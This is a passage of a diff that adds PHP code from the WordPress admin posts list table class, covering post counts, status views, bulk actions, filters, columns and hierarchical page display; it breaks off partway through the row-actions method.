+	public function prepare_items() {
+		global $avail_post_stati, $wp_query, $per_page, $mode;
+
+		// is going to call wp()
+		$avail_post_stati = wp_edit_posts_query();
+
+		$this->set_hierarchical_display( is_post_type_hierarchical( $this->screen->post_type ) && 'menu_order title' === $wp_query->query['orderby'] );
+
+		$post_type = $this->screen->post_type;
+		$per_page = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' );
+
+		/** This filter is documented in wp-admin/includes/post.php */
+ 		$per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type );
+
+		if ( $this->hierarchical_display ) {
+			$total_items = $wp_query->post_count;
+		} elseif ( $wp_query->found_posts || $this->get_pagenum() === 1 ) {
+			$total_items = $wp_query->found_posts;
+		} else {
+			$post_counts = (array) wp_count_posts( $post_type, 'readable' );
+
+			if ( isset( $_REQUEST['post_status'] ) && in_array( $_REQUEST['post_status'] , $avail_post_stati ) ) {
+				$total_items = $post_counts[ $_REQUEST['post_status'] ];
+			} elseif ( isset( $_REQUEST['show_sticky'] ) && $_REQUEST['show_sticky'] ) {
+				$total_items = $this->sticky_posts_count;
+			} elseif ( isset( $_GET['author'] ) && $_GET['author'] == get_current_user_id() ) {
+				$total_items = $this->user_posts_count;
+			} else {
+				$total_items = array_sum( $post_counts );
+
+				// Subtract post types that are not included in the admin all list.
+				foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
+					$total_items -= $post_counts[ $state ];
+				}
+			}
+		}
+
+		if ( ! empty( $_REQUEST['mode'] ) ) {
+			$mode = $_REQUEST['mode'] === 'excerpt' ? 'excerpt' : 'list';
+			set_user_setting( 'posts_list_mode', $mode );
+		} else {
+			$mode = get_user_setting( 'posts_list_mode', 'list' );
+		}
+
+		$this->is_trash = isset( $_REQUEST['post_status'] ) && $_REQUEST['post_status'] === 'trash';
+
+		$this->set_pagination_args( array(
+			'total_items' => $total_items,
+			'per_page' => $per_page
+		) );
+	}
+
+	/**
+	 *
+	 * @return bool
+	 */
+	public function has_items() {
+		return have_posts();
+	}
+
+	/**
+	 */
+	public function no_items() {
+		if ( isset( $_REQUEST['post_status'] ) && 'trash' === $_REQUEST['post_status'] )
+			echo get_post_type_object( $this->screen->post_type )->labels->not_found_in_trash;
+		else
+			echo get_post_type_object( $this->screen->post_type )->labels->not_found;
+	}
+
+	/**
+	 * Determine if the current view is the "All" view.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @return bool Whether the current view is the "All" view.
+	 */
+	protected function is_base_request() {
+		$vars = $_GET;
+		unset( $vars['paged'] );
+
+		if ( empty( $vars ) ) {
+			return true;
+		} elseif ( 1 === count( $vars ) && ! empty( $vars['post_type'] ) ) {
+			return $this->screen->post_type === $vars['post_type'];
+		}
+
+		return 1 === count( $vars ) && ! empty( $vars['mode'] );
+	}
+
+	/**
+	 * Helper to create links to edit.php with params.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array  $args  URL parameters for the link.
+	 * @param string $label Link text.
+	 * @param string $class Optional. Class attribute. Default empty string.
+	 * @return string The formatted link string.
+	 */
+	protected function get_edit_link( $args, $label, $class = '' ) {
+		$url = add_query_arg( $args, 'edit.php' );
+
+		$class_html = $aria_current = '';
+		if ( ! empty( $class ) ) {
+			 $class_html = sprintf(
+				' class="%s"',
+				esc_attr( $class )
+			);
+
+			if ( 'current' === $class ) {
+				$aria_current = ' aria-current="page"';
+			}
+		}
+
+		return sprintf(
+			'<a href="%s"%s%s>%s</a>',
+			esc_url( $url ),
+			$class_html,
+			$aria_current,
+			$label
+		);
+	}
+
+	/**
+	 *
+	 * @global array $locked_post_status This seems to be deprecated.
+	 * @global array $avail_post_stati
+	 * @return array
+	 */
+	protected function get_views() {
+		global $locked_post_status, $avail_post_stati;
+
+		$post_type = $this->screen->post_type;
+
+		if ( !empty($locked_post_status) )
+			return array();
+
+		$status_links = array();
+		$num_posts = wp_count_posts( $post_type, 'readable' );
+		$total_posts = array_sum( (array) $num_posts );
+		$class = '';
+
+		$current_user_id = get_current_user_id();
+		$all_args = array( 'post_type' => $post_type );
+		$mine = '';
+
+		// Subtract post types that are not included in the admin all list.
+		foreach ( get_post_stati( array( 'show_in_admin_all_list' => false ) ) as $state ) {
+			$total_posts -= $num_posts->$state;
+		}
+
+		if ( $this->user_posts_count && $this->user_posts_count !== $total_posts ) {
+			if ( isset( $_GET['author'] ) && ( $_GET['author'] == $current_user_id ) ) {
+				$class = 'current';
+			}
+
+			$mine_args = array(
+				'post_type' => $post_type,
+				'author' => $current_user_id
+			);
+
+			$mine_inner_html = sprintf(
+				_nx(
+					'Mine <span class="count">(%s)</span>',
+					'Mine <span class="count">(%s)</span>',
+					$this->user_posts_count,
+					'posts'
+				),
+				number_format_i18n( $this->user_posts_count )
+			);
+
+			$mine = $this->get_edit_link( $mine_args, $mine_inner_html, $class );
+
+			$all_args['all_posts'] = 1;
+			$class = '';
+		}
+
+		if ( empty( $class ) && ( $this->is_base_request() || isset( $_REQUEST['all_posts'] ) ) ) {
+			$class = 'current';
+		}
+
+		$all_inner_html = sprintf(
+			_nx(
+				'All <span class="count">(%s)</span>',
+				'All <span class="count">(%s)</span>',
+				$total_posts,
+				'posts'
+			),
+			number_format_i18n( $total_posts )
+		);
+
+		$status_links['all'] = $this->get_edit_link( $all_args, $all_inner_html, $class );
+		if ( $mine ) {
+			$status_links['mine'] = $mine;
+		}
+
+		foreach ( get_post_stati(array('show_in_admin_status_list' => true), 'objects') as $status ) {
+			$class = '';
+
+			$status_name = $status->name;
+
+			if ( ! in_array( $status_name, $avail_post_stati ) || empty( $num_posts->$status_name ) ) {
+				continue;
+			}
+
+			if ( isset($_REQUEST['post_status']) && $status_name === $_REQUEST['post_status'] ) {
+				$class = 'current';
+			}
+
+			$status_args = array(
+				'post_status' => $status_name,
+				'post_type' => $post_type,
+			);
+
+			$status_label = sprintf(
+				translate_nooped_plural( $status->label_count, $num_posts->$status_name ),
+				number_format_i18n( $num_posts->$status_name )
+			);
+
+			$status_links[ $status_name ] = $this->get_edit_link( $status_args, $status_label, $class );
+		}
+
+		if ( ! empty( $this->sticky_posts_count ) ) {
+			$class = ! empty( $_REQUEST['show_sticky'] ) ? 'current' : '';
+
+			$sticky_args = array(
+				'post_type'	=> $post_type,
+				'show_sticky' => 1
+			);
+
+			$sticky_inner_html = sprintf(
+				_nx(
+					'Sticky <span class="count">(%s)</span>',
+					'Sticky <span class="count">(%s)</span>',
+					$this->sticky_posts_count,
+					'posts'
+				),
+				number_format_i18n( $this->sticky_posts_count )
+			);
+
+			$sticky_link = array(
+				'sticky' => $this->get_edit_link( $sticky_args, $sticky_inner_html, $class )
+			);
+
+			// Sticky comes after Publish, or if not listed, after All.
+			$split = 1 + array_search( ( isset( $status_links['publish'] ) ? 'publish' : 'all' ), array_keys( $status_links ) );
+			$status_links = array_merge( array_slice( $status_links, 0, $split ), $sticky_link, array_slice( $status_links, $split ) );
+		}
+
+		return $status_links;
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_bulk_actions() {
+		$actions = array();
+		$post_type_obj = get_post_type_object( $this->screen->post_type );
+
+		if ( current_user_can( $post_type_obj->cap->edit_posts ) ) {
+			if ( $this->is_trash ) {
+				$actions['untrash'] = __( 'Restore' );
+			} else {
+				$actions['edit'] = __( 'Edit' );
+			}
+		}
+
+		if ( current_user_can( $post_type_obj->cap->delete_posts ) ) {
+			if ( $this->is_trash || ! EMPTY_TRASH_DAYS ) {
+				$actions['delete'] = __( 'Delete Permanently' );
+			} else {
+				$actions['trash'] = __( 'Move to Trash' );
+			}
+		}
+
+		return $actions;
+	}
+
+	/**
+	 * Displays a categories drop-down for filtering on the Posts list table.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @global int $cat Currently selected category.
+	 *
+	 * @param string $post_type Post type slug.
+	 */
+	protected function categories_dropdown( $post_type ) {
+		global $cat;
+
+		/**
+		 * Filters whether to remove the 'Categories' drop-down from the post list table.
+		 *
+		 * @since 4.6.0
+		 *
+		 * @param bool   $disable   Whether to disable the categories drop-down. Default false.
+		 * @param string $post_type Post type slug.
+		 */
+		if ( false !== apply_filters( 'disable_categories_dropdown', false, $post_type ) ) {
+			return;
+		}
+
+		if ( is_object_in_taxonomy( $post_type, 'category' ) ) {
+			$dropdown_options = array(
+				'show_option_all' => get_taxonomy( 'category' )->labels->all_items,
+				'hide_empty' => 0,
+				'hierarchical' => 1,
+				'show_count' => 0,
+				'orderby' => 'name',
+				'selected' => $cat
+			);
+
+			echo '<label class="screen-reader-text" for="cat">' . __( 'Filter by category' ) . '</label>';
+			wp_dropdown_categories( $dropdown_options );
+		}
+	}
+
+	/**
+	 * @param string $which
+	 */
+	protected function extra_tablenav( $which ) {
+?>
+		<div class="alignleft actions">
+<?php
+		if ( 'top' === $which && !is_singular() ) {
+			ob_start();
+
+			$this->months_dropdown( $this->screen->post_type );
+			$this->categories_dropdown( $this->screen->post_type );
+
+			/**
+			 * Fires before the Filter button on the Posts and Pages list tables.
+			 *
+			 * The Filter button allows sorting by date and/or category on the
+			 * Posts list table, and sorting by date on the Pages list table.
+			 *
+			 * @since 2.1.0
+			 * @since 4.4.0 The `$post_type` parameter was added.
+			 * @since 4.6.0 The `$which` parameter was added.
+			 *
+			 * @param string $post_type The post type slug.
+			 * @param string $which     The location of the extra table nav markup:
+			 *                          'top' or 'bottom' for WP_Posts_List_Table,
+			 *                          'bar' for WP_Media_List_Table.
+			 */
+			do_action( 'restrict_manage_posts', $this->screen->post_type, $which );
+
+			$output = ob_get_clean();
+
+			if ( ! empty( $output ) ) {
+				echo $output;
+				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
+			}
+		}
+
+		if ( $this->is_trash && current_user_can( get_post_type_object( $this->screen->post_type )->cap->edit_others_posts ) && $this->has_items() ) {
+			submit_button( __( 'Empty Trash' ), 'apply', 'delete_all', false );
+		}
+?>
+		</div>
+<?php
+		/**
+		 * Fires immediately following the closing "actions" div in the tablenav for the posts
+		 * list table.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
+		 */
+		do_action( 'manage_posts_extra_tablenav', $which );
+	}
+
+	/**
+	 *
+	 * @return string
+	 */
+	public function current_action() {
+		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) )
+			return 'delete_all';
+
+		return parent::current_action();
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_table_classes() {
+		return array( 'widefat', 'fixed', 'striped', is_post_type_hierarchical( $this->screen->post_type ) ? 'pages' : 'posts' );
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	public function get_columns() {
+		$post_type = $this->screen->post_type;
+
+		$posts_columns = array();
+
+		$posts_columns['cb'] = '<input type="checkbox" />';
+
+		/* translators: manage posts column name */
+		$posts_columns['title'] = _x( 'Title', 'column name' );
+
+		if ( post_type_supports( $post_type, 'author' ) ) {
+			$posts_columns['author'] = __( 'Author' );
+		}
+
+		$taxonomies = get_object_taxonomies( $post_type, 'objects' );
+		$taxonomies = wp_filter_object_list( $taxonomies, array( 'show_admin_column' => true ), 'and', 'name' );
+
+		/**
+		 * Filters the taxonomy columns in the Posts list table.
+		 *
+		 * The dynamic portion of the hook name, `$post_type`, refers to the post
+		 * type slug.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array  $taxonomies Array of taxonomies to show columns for.
+		 * @param string $post_type  The post type.
+		 */
+		$taxonomies = apply_filters( "manage_taxonomies_for_{$post_type}_columns", $taxonomies, $post_type );
+		$taxonomies = array_filter( $taxonomies, 'taxonomy_exists' );
+
+		foreach ( $taxonomies as $taxonomy ) {
+			if ( 'category' === $taxonomy )
+				$column_key = 'categories';
+			elseif ( 'post_tag' === $taxonomy )
+				$column_key = 'tags';
+			else
+				$column_key = 'taxonomy-' . $taxonomy;
+
+			$posts_columns[ $column_key ] = get_taxonomy( $taxonomy )->labels->name;
+		}
+
+		$post_status = !empty( $_REQUEST['post_status'] ) ? $_REQUEST['post_status'] : 'all';
+		if ( post_type_supports( $post_type, 'comments' ) && !in_array( $post_status, array( 'pending', 'draft', 'future' ) ) )
+			$posts_columns['comments'] = '<span class="vers comment-grey-bubble" title="' . esc_attr__( 'Comments' ) . '"><span class="screen-reader-text">' . __( 'Comments' ) . '</span></span>';
+
+		$posts_columns['date'] = __( 'Date' );
+
+		if ( 'page' === $post_type ) {
+
+			/**
+			 * Filters the columns displayed in the Pages list table.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param array $post_columns An array of column names.
+			 */
+			$posts_columns = apply_filters( 'manage_pages_columns', $posts_columns );
+		} else {
+
+			/**
+			 * Filters the columns displayed in the Posts list table.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param array  $posts_columns An array of column names.
+			 * @param string $post_type     The post type slug.
+			 */
+			$posts_columns = apply_filters( 'manage_posts_columns', $posts_columns, $post_type );
+		}
+
+		/**
+		 * Filters the columns displayed in the Posts list table for a specific post type.
+		 *
+		 * The dynamic portion of the hook name, `$post_type`, refers to the post type slug.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $post_columns An array of column names.
+		 */
+		return apply_filters( "manage_{$post_type}_posts_columns", $posts_columns );
+	}
+
+	/**
+	 *
+	 * @return array
+	 */
+	protected function get_sortable_columns() {
+		return array(
+			'title'    => 'title',
+			'parent'   => 'parent',
+			'comments' => 'comment_count',
+			'date'     => array( 'date', true )
+		);
+	}
+
+	/**
+	 * @global WP_Query $wp_query
+	 * @global int $per_page
+	 * @param array $posts
+	 * @param int $level
+	 */
+	public function display_rows( $posts = array(), $level = 0 ) {
+		global $wp_query, $per_page;
+
+		if ( empty( $posts ) )
+			$posts = $wp_query->posts;
+
+		add_filter( 'the_title', 'esc_html' );
+
+		if ( $this->hierarchical_display ) {
+			$this->_display_rows_hierarchical( $posts, $this->get_pagenum(), $per_page );
+		} else {
+			$this->_display_rows( $posts, $level );
+		}
+	}
+
+	/**
+	 * @param array $posts
+	 * @param int $level
+	 */
+	private function _display_rows( $posts, $level = 0 ) {
+		// Create array of post IDs.
+		$post_ids = array();
+
+		foreach ( $posts as $a_post )
+			$post_ids[] = $a_post->ID;
+
+		$this->comment_pending_count = get_pending_comments_num( $post_ids );
+
+		foreach ( $posts as $post )
+			$this->single_row( $post, $level );
+	}
+
+	/**
+	 * @global wpdb    $wpdb
+	 * @global WP_Post $post
+	 * @param array $pages
+	 * @param int $pagenum
+	 * @param int $per_page
+	 */
+	private function _display_rows_hierarchical( $pages, $pagenum = 1, $per_page = 20 ) {
+		global $wpdb;
+
+		$level = 0;
+
+		if ( ! $pages ) {
+			$pages = get_pages( array( 'sort_column' => 'menu_order' ) );
+
+			if ( ! $pages )
+				return;
+		}
+
+		/*
+		 * Arrange pages into two parts: top level pages and children_pages
+		 * children_pages is two dimensional array, eg.
+		 * children_pages[10][] contains all sub-pages whose parent is 10.
+		 * It only takes O( N ) to arrange this and it takes O( 1 ) for subsequent lookup operations
+		 * If searching, ignore hierarchy and treat everything as top level
+		 */
+		if ( empty( $_REQUEST['s'] ) ) {
+
+			$top_level_pages = array();
+			$children_pages = array();
+
+			foreach ( $pages as $page ) {
+
+				// Catch and repair bad pages.
+				if ( $page->post_parent == $page->ID ) {
+					$page->post_parent = 0;
+					$wpdb->update( $wpdb->posts, array( 'post_parent' => 0 ), array( 'ID' => $page->ID ) );
+					clean_post_cache( $page );
+				}
+
+				if ( 0 == $page->post_parent )
+					$top_level_pages[] = $page;
+				else
+					$children_pages[ $page->post_parent ][] = $page;
+			}
+
+			$pages = &$top_level_pages;
+		}
+
+		$count = 0;
+		$start = ( $pagenum - 1 ) * $per_page;
+		$end = $start + $per_page;
+		$to_display = array();
+
+		foreach ( $pages as $page ) {
+			if ( $count >= $end )
+				break;
+
+			if ( $count >= $start ) {
+				$to_display[$page->ID] = $level;
+			}
+
+			$count++;
+
+			if ( isset( $children_pages ) )
+				$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
+		}
+
+		// If it is the last pagenum and there are orphaned pages, display them with paging as well.
+		if ( isset( $children_pages ) && $count < $end ){
+			foreach ( $children_pages as $orphans ){
+				foreach ( $orphans as $op ) {
+					if ( $count >= $end )
+						break;
+
+					if ( $count >= $start ) {
+						$to_display[$op->ID] = 0;
+					}
+
+					$count++;
+				}
+			}
+		}
+
+		$ids = array_keys( $to_display );
+		_prime_post_caches( $ids );
+
+		if ( ! isset( $GLOBALS['post'] ) ) {
+			$GLOBALS['post'] = reset( $ids );
+		}
+
+		foreach ( $to_display as $page_id => $level ) {
+			echo "\t";
+			$this->single_row( $page_id, $level );
+		}
+	}
+
+	/**
+	 * Given a top level page ID, display the nested hierarchy of sub-pages
+	 * together with paging support
+	 *
+	 * @since 3.1.0 (Standalone function exists since 2.6.0)
+	 * @since 4.2.0 Added the `$to_display` parameter.
+	 *
+	 * @param array $children_pages
+	 * @param int $count
+	 * @param int $parent
+	 * @param int $level
+	 * @param int $pagenum
+	 * @param int $per_page
+	 * @param array $to_display List of pages to be displayed. Passed by reference.
+	 */
+	private function _page_rows( &$children_pages, &$count, $parent, $level, $pagenum, $per_page, &$to_display ) {
+		if ( ! isset( $children_pages[$parent] ) )
+			return;
+
+		$start = ( $pagenum - 1 ) * $per_page;
+		$end = $start + $per_page;
+
+		foreach ( $children_pages[$parent] as $page ) {
+			if ( $count >= $end )
+				break;
+
+			// If the page starts in a subtree, print the parents.
+			if ( $count == $start && $page->post_parent > 0 ) {
+				$my_parents = array();
+				$my_parent = $page->post_parent;
+				while ( $my_parent ) {
+					// Get the ID from the list or the attribute if my_parent is an object
+					$parent_id = $my_parent;
+					if ( is_object( $my_parent ) ) {
+						$parent_id = $my_parent->ID;
+					}
+
+					$my_parent = get_post( $parent_id );
+					$my_parents[] = $my_parent;
+					if ( !$my_parent->post_parent )
+						break;
+					$my_parent = $my_parent->post_parent;
+				}
+				$num_parents = count( $my_parents );
+				while ( $my_parent = array_pop( $my_parents ) ) {
+					$to_display[$my_parent->ID] = $level - $num_parents;
+					$num_parents--;
+				}
+			}
+
+			if ( $count >= $start ) {
+				$to_display[$page->ID] = $level;
+			}
+
+			$count++;
+
+			$this->_page_rows( $children_pages, $count, $page->ID, $level + 1, $pagenum, $per_page, $to_display );
+		}
+
+		unset( $children_pages[$parent] ); //required in order to keep track of orphans
+	}
+
+	/**
+	 * Handles the checkbox column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_cb( $post ) {
+		if ( current_user_can( 'edit_post', $post->ID ) ): ?>
+			<label class="screen-reader-text" for="cb-select-<?php the_ID(); ?>"><?php
+				printf( __( 'Select %s' ), _draft_or_post_title() );
+			?></label>
+			<input id="cb-select-<?php the_ID(); ?>" type="checkbox" name="post[]" value="<?php the_ID(); ?>" />
+			<div class="locked-indicator">
+				<span class="locked-indicator-icon" aria-hidden="true"></span>
+				<span class="screen-reader-text"><?php
+				printf(
+					/* translators: %s: post title */
+					__( '&#8220;%s&#8221; is locked' ),
+					_draft_or_post_title()
+				);
+				?></span>
+			</div>
+		<?php endif;
+	}
+
+	/**
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post
+	 * @param string  $classes
+	 * @param string  $data
+	 * @param string  $primary
+	 */
+	protected function _column_title( $post, $classes, $data, $primary ) {
+		echo '<td class="' . $classes . ' page-title" ', $data, '>';
+		echo $this->column_title( $post );
+		echo $this->handle_row_actions( $post, 'title', $primary );
+		echo '</td>';
+	}
+
+	/**
+	 * Handles the title column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global string $mode List table view mode.
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_title( $post ) {
+		global $mode;
+
+		if ( $this->hierarchical_display ) {
+			if ( 0 === $this->current_level && (int) $post->post_parent > 0 ) {
+				// Sent level 0 by accident, by default, or because we don't know the actual level.
+				$find_main_page = (int) $post->post_parent;
+				while ( $find_main_page > 0 ) {
+					$parent = get_post( $find_main_page );
+
+					if ( is_null( $parent ) ) {
+						break;
+					}
+
+					$this->current_level++;
+					$find_main_page = (int) $parent->post_parent;
+
+					if ( ! isset( $parent_name ) ) {
+						/** This filter is documented in wp-includes/post-template.php */
+						$parent_name = apply_filters( 'the_title', $parent->post_title, $parent->ID );
+					}
+				}
+			}
+		}
+
+		$can_edit_post = current_user_can( 'edit_post', $post->ID );
+
+		if ( $can_edit_post && $post->post_status != 'trash' ) {
+			$lock_holder = wp_check_post_lock( $post->ID );
+
+			if ( $lock_holder ) {
+				$lock_holder = get_userdata( $lock_holder );
+				$locked_avatar = get_avatar( $lock_holder->ID, 18 );
+				$locked_text = esc_html( sprintf( __( '%s is currently editing' ), $lock_holder->display_name ) );
+			} else {
+				$locked_avatar = $locked_text = '';
+			}
+
+			echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n";
+		}
+
+		$pad = str_repeat( '&#8212; ', $this->current_level );
+		echo "<strong>";
+
+		$format = get_post_format( $post->ID );
+		if ( $format ) {
+			$label = get_post_format_string( $format );
+
+			$format_class = 'post-state-format post-format-icon post-format-' . $format;
+
+			$format_args = array(
+				'post_format' => $format,
+				'post_type' => $post->post_type
+			);
+
+			echo $this->get_edit_link( $format_args, $label . ':', $format_class );
+		}
+
+		$title = _draft_or_post_title();
+
+		if ( $can_edit_post && $post->post_status != 'trash' ) {
+			printf(
+				'<a class="row-title" href="%s" aria-label="%s">%s%s</a>',
+				get_edit_post_link( $post->ID ),
+				/* translators: %s: post title */
+				esc_attr( sprintf( __( '&#8220;%s&#8221; (Edit)' ), $title ) ),
+				$pad,
+				$title
+			);
+		} else {
+			echo $pad . $title;
+		}
+		_post_states( $post );
+
+		if ( isset( $parent_name ) ) {
+			$post_type_object = get_post_type_object( $post->post_type );
+			echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html( $parent_name );
+		}
+		echo "</strong>\n";
+
+		if ( ! is_post_type_hierarchical( $this->screen->post_type ) && 'excerpt' === $mode && current_user_can( 'read_post', $post->ID ) ) {
+			if ( post_password_required( $post ) ) {
+				echo '<span class="protected-post-excerpt">' . esc_html( get_the_excerpt() ) . '</span>';
+			} else {
+				echo esc_html( get_the_excerpt() );
+			}
+		}
+
+		get_inline_data( $post );
+	}
+
+	/**
+	 * Handles the post date column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @global string $mode List table view mode.
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_date( $post ) {
+		global $mode;
+
+		if ( '0000-00-00 00:00:00' === $post->post_date ) {
+			$t_time = $h_time = __( 'Unpublished' );
+			$time_diff = 0;
+		} else {
+			$t_time = get_the_time( __( 'Y/m/d g:i:s a' ) );
+			$m_time = $post->post_date;
+			$time = get_post_time( 'G', true, $post );
+
+			$time_diff = time() - $time;
+
+			if ( $time_diff > 0 && $time_diff < DAY_IN_SECONDS ) {
+				$h_time = sprintf( __( '%s ago' ), human_time_diff( $time ) );
+			} else {
+				$h_time = mysql2date( __( 'Y/m/d' ), $m_time );
+			}
+		}
+
+		if ( 'publish' === $post->post_status ) {
+			$status = __( 'Published' );
+		} elseif ( 'future' === $post->post_status ) {
+			if ( $time_diff > 0 ) {
+				$status = '<strong class="error-message">' . __( 'Missed schedule' ) . '</strong>';
+			} else {
+				$status = __( 'Scheduled' );
+			}
+		} else {
+			$status = __( 'Last Modified' );
+		}
+
+		/**
+		 * Filters the status text of the post.
+		 *
+		 * @since 4.8.0
+		 *
+		 * @param string  $status      The status text.
+		 * @param WP_Post $post        Post object.
+		 * @param string  $column_name The column name.
+		 * @param string  $mode        The list display mode ('excerpt' or 'list').
+		 */
+		$status = apply_filters( 'post_date_column_status', $status, $post, 'date', $mode );
+
+		if ( $status ) {
+			echo $status . '<br />';
+		}
+
+		if ( 'excerpt' === $mode ) {
+			/**
+			 * Filters the published time of the post.
+			 *
+			 * If `$mode` equals 'excerpt', the published time and date are both displayed.
+			 * If `$mode` equals 'list' (default), the publish date is displayed, with the
+			 * time and date together available as an abbreviation definition.
+			 *
+			 * @since 2.5.1
+			 *
+			 * @param string  $t_time      The published time.
+			 * @param WP_Post $post        Post object.
+			 * @param string  $column_name The column name.
+			 * @param string  $mode        The list display mode ('excerpt' or 'list').
+			 */
+			echo apply_filters( 'post_date_column_time', $t_time, $post, 'date', $mode );
+		} else {
+
+			/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
+			echo '<abbr title="' . $t_time . '">' . apply_filters( 'post_date_column_time', $h_time, $post, 'date', $mode ) . '</abbr>';
+		}
+	}
+
+	/**
+	 * Handles the comments column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_comments( $post ) {
+		?>
+		<div class="post-com-count-wrapper">
+		<?php
+			$pending_comments = isset( $this->comment_pending_count[$post->ID] ) ? $this->comment_pending_count[$post->ID] : 0;
+
+			$this->comments_bubble( $post->ID, $pending_comments );
+		?>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Handles the post author column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post The current WP_Post object.
+	 */
+	public function column_author( $post ) {
+		$args = array(
+			'post_type' => $post->post_type,
+			'author' => get_the_author_meta( 'ID' )
+		);
+		echo $this->get_edit_link( $args, get_the_author() );
+	}
+
+	/**
+	 * Handles the default column output.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param WP_Post $post        The current WP_Post object.
+	 * @param string  $column_name The current column name.
+	 */
+	public function column_default( $post, $column_name ) {
+		if ( 'categories' === $column_name ) {
+			$taxonomy = 'category';
+		} elseif ( 'tags' === $column_name ) {
+			$taxonomy = 'post_tag';
+		} elseif ( 0 === strpos( $column_name, 'taxonomy-' ) ) {
+			$taxonomy = substr( $column_name, 9 );
+		} else {
+			$taxonomy = false;
+		}
+		if ( $taxonomy ) {
+			$taxonomy_object = get_taxonomy( $taxonomy );
+			$terms = get_the_terms( $post->ID, $taxonomy );
+			if ( is_array( $terms ) ) {
+				$out = array();
+				foreach ( $terms as $t ) {
+					$posts_in_term_qv = array();
+					if ( 'post' != $post->post_type ) {
+						$posts_in_term_qv['post_type'] = $post->post_type;
+					}
+					if ( $taxonomy_object->query_var ) {
+						$posts_in_term_qv[ $taxonomy_object->query_var ] = $t->slug;
+					} else {
+						$posts_in_term_qv['taxonomy'] = $taxonomy;
+						$posts_in_term_qv['term'] = $t->slug;
+					}
+
+					$label = esc_html( sanitize_term_field( 'name', $t->name, $t->term_id, $taxonomy, 'display' ) );
+					$out[] = $this->get_edit_link( $posts_in_term_qv, $label );
+				}
+				/* translators: used between list items, there is a space after the comma */
+				echo join( __( ', ' ), $out );
+			} else {
+				echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' . $taxonomy_object->labels->no_terms . '</span>';
+			}
+			return;
+		}
+
+		if ( is_post_type_hierarchical( $post->post_type ) ) {
+
+			/**
+			 * Fires in each custom column on the Posts list table.
+			 *
+			 * This hook only fires if the current post type is hierarchical,
+			 * such as pages.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $column_name The name of the column to display.
+			 * @param int    $post_id     The current post ID.
+			 */
+			do_action( 'manage_pages_custom_column', $column_name, $post->ID );
+		} else {
+
+			/**
+			 * Fires in each custom column in the Posts list table.
+			 *
+			 * This hook only fires if the current post type is non-hierarchical,
+			 * such as posts.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param string $column_name The name of the column to display.
+			 * @param int    $post_id     The current post ID.
+			 */
+			do_action( 'manage_posts_custom_column', $column_name, $post->ID );
+		}
+
+		/**
+		 * Fires for each custom column of a specific post type in the Posts list table.
+		 *
+		 * The dynamic portion of the hook name, `$post->post_type`, refers to the post type.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param string $column_name The name of the column to display.
+		 * @param int    $post_id     The current post ID.
+		 */
+		do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID );
+	}
+
+	/**
+	 * @global WP_Post $post
+	 *
+	 * @param int|WP_Post $post
+	 * @param int         $level
+	 */
+	public function single_row( $post, $level = 0 ) {
+		$global_post = get_post();
+
+		$post = get_post( $post );
+		$this->current_level = $level;
+
+		$GLOBALS['post'] = $post;
+		setup_postdata( $post );
+
+		$classes = 'iedit author-' . ( get_current_user_id() == $post->post_author ? 'self' : 'other' );
+
+		$lock_holder = wp_check_post_lock( $post->ID );
+		if ( $lock_holder ) {
+			$classes .= ' wp-locked';
+		}
+
+		if ( $post->post_parent ) {
+		    $count = count( get_post_ancestors( $post->ID ) );
+		    $classes .= ' level-'. $count;
+		} else {
+		    $classes .= ' level-0';
+		}
+	?>
+		<tr id="post-<?php echo $post->ID; ?>" class="<?php echo implode( ' ', get_post_class( $classes, $post->ID ) ); ?>">
+			<?php $this->single_row_columns( $post ); ?>
+		</tr>
+	<?php
+		$GLOBALS['post'] = $global_post;
+	}
+
+	/**
+	 * Gets the name of the default primary column.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @return string Name of the default primary column, in this case, 'title'.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'title';
+	}
+
+	/**
+	 * Generates and displays row action links.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param object $post        Post being acted upon.
+	 * @param string $column_name Current column name.
+	 * @param string $primary     Primary column name.
+	 * @return string Row actions output for posts.
+	 */
+	protected function handle_row_actions( $post, $column_name, $primary ) {
+		if ( $primary !== $column_name ) {
+			return '';
+		}
+
+		$post_type_object = get_post_type_object( $post->post_type );
+		$can_edit_post = current_user_can( 'edit_post', $post->ID );
+		$actions = array();
